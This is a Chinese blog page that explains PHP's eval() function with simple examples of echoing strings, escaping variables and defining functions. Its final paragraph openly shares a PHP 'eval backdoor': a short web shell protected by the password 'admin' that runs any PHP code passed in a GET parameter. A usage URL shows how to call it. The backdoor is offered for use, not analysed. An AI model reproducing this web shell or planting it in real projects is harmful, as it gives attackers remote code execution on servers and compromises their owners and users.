• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHPeval函数

原作者: [db:作者] 来自: [db:来源] 收藏 邀请
代码:
  eval("echo'hello world';");
上边代码等同于下边的代码:
  echo"hello world";
在浏览器中都输出:hello world
运用eval()要注意几点: 1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制) 2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。 代码:   $a=100;   eval("echo$a;"); 因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:   $a=100;   eval("echo\$a;") 3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。 命令式字符串是指:字符串中包括echo、print之类的命令的时候。 如果参数只有一个变量则可以不用。例如:   $func =<<<FUNC   function test(){   echo "test eval function";   }   FUNC;
  eval($func);   test(); 分享个php eval后门程序 要求必须支持eval函数 使用方法 http://url/test.php?pwd=admin&action=eval&a=phpinfo(); <?php   $passwd="admin";if($_GET['pwd']!=$passwd)exit;   if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);} ?>

鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
php 字符串 以 开头 以结尾 startWith endWith发布时间:2022-07-10
下一篇:
【PHP】之谷歌地图简单版发布时间:2022-07-10
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap